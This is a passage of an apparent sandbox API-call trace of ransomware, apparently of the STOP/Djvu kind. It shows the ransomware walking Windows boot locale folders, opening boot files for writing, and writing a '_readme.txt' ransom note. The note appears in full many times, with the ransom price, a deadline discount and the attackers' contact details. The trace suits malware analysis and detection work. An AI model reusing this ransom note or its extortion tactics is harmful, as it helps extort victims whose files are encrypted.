(in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3092b80 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0119.853] FreeLibrary (hLibModule=0x754f0000) returned 1 [0119.853] PathAppendW (in: pszPath="C:\\Boot\\ko-KR\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\ko-KR\\_readme.txt") returned 1 [0119.853] PathFileExistsW (pszPath="C:\\Boot\\ko-KR\\_readme.txt") returned 0 [0119.853] lstrcpyW (in: lpString1=0x3096780, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf" [0119.853] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf", lpString2="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudfplhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudfplhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M" [0119.853] CreateFileW (lpFileName="C:\\Boot\\ko-KR\\_readme.txt" (normalized: "c:\\boot\\ko-kr\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0119.853] FindFirstFileW (in: lpFileName="C:\\Boot\\ko-KR\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0119.854] PathFindExtensionW (pszPath="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned=".mui" [0119.854] CreateFileW (lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0119.854] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0119.854] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0119.854] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.854] PathFindFileNameW (pszPath="C:\\Boot\\nb-NO\\") returned="nb-NO\\" [0119.854] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0119.854] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.854] PathFindFileNameW (pszPath="") returned="" [0119.854] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x754f0000 [0119.854] GetProcAddress (hModule=0x754f0000, lpProcName="SHGetFolderPathW") returned 0x75575708 [0119.855] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3092b80 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0119.855] FreeLibrary (hLibModule=0x754f0000) returned 1 [0119.855] PathAppendW (in: pszPath="C:\\Boot\\nb-NO\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\nb-NO\\_readme.txt") returned 1 [0119.855] PathFileExistsW (pszPath="C:\\Boot\\nb-NO\\_readme.txt") returned 0 [0119.855] lstrcpyW (in: lpString1=0x3096780, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf" [0119.855] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf", lpString2="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudfplhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudfplhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M" [0119.855] CreateFileW (lpFileName="C:\\Boot\\nb-NO\\_readme.txt" (normalized: "c:\\boot\\nb-no\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0119.855] FindFirstFileW (in: lpFileName="C:\\Boot\\nb-NO\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0119.855] PathFindExtensionW (pszPath="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned=".mui" [0119.855] CreateFileW (lpFileName="C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0119.855] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0119.856] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0119.856] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.856] PathFindFileNameW (pszPath="C:\\Boot\\nl-NL\\") returned="nl-NL\\" [0119.856] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0119.856] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.856] PathFindFileNameW (pszPath="") returned="" [0119.856] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x754f0000 [0119.856] GetProcAddress (hModule=0x754f0000, lpProcName="SHGetFolderPathW") returned 0x75575708 [0119.856] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3092b80 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0119.856] FreeLibrary (hLibModule=0x754f0000) returned 1 [0119.856] PathAppendW (in: pszPath="C:\\Boot\\nl-NL\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\nl-NL\\_readme.txt") returned 1 [0119.856] PathFileExistsW (pszPath="C:\\Boot\\nl-NL\\_readme.txt") returned 0 [0119.857] lstrcpyW (in: lpString1=0x3096780, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf" [0119.857] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf", lpString2="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudfplhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudfplhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M" [0119.857] CreateFileW (lpFileName="C:\\Boot\\nl-NL\\_readme.txt" (normalized: "c:\\boot\\nl-nl\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0119.857] FindFirstFileW (in: lpFileName="C:\\Boot\\nl-NL\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0119.857] PathFindExtensionW (pszPath="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned=".mui" [0119.857] CreateFileW (lpFileName="C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0119.857] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0119.857] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0119.857] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.857] PathFindFileNameW (pszPath="C:\\Boot\\pl-PL\\") returned="pl-PL\\" [0119.857] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0119.857] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.858] PathFindFileNameW (pszPath="") returned="" [0119.858] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x754f0000 [0119.858] GetProcAddress (hModule=0x754f0000, lpProcName="SHGetFolderPathW") returned 0x75575708 [0119.858] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3092b80 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0119.858] FreeLibrary (hLibModule=0x754f0000) returned 1 [0119.858] PathAppendW (in: pszPath="C:\\Boot\\pl-PL\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\pl-PL\\_readme.txt") returned 1 [0119.858] PathFileExistsW (pszPath="C:\\Boot\\pl-PL\\_readme.txt") returned 0 [0119.858] lstrcpyW (in: lpString1=0x3096780, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram 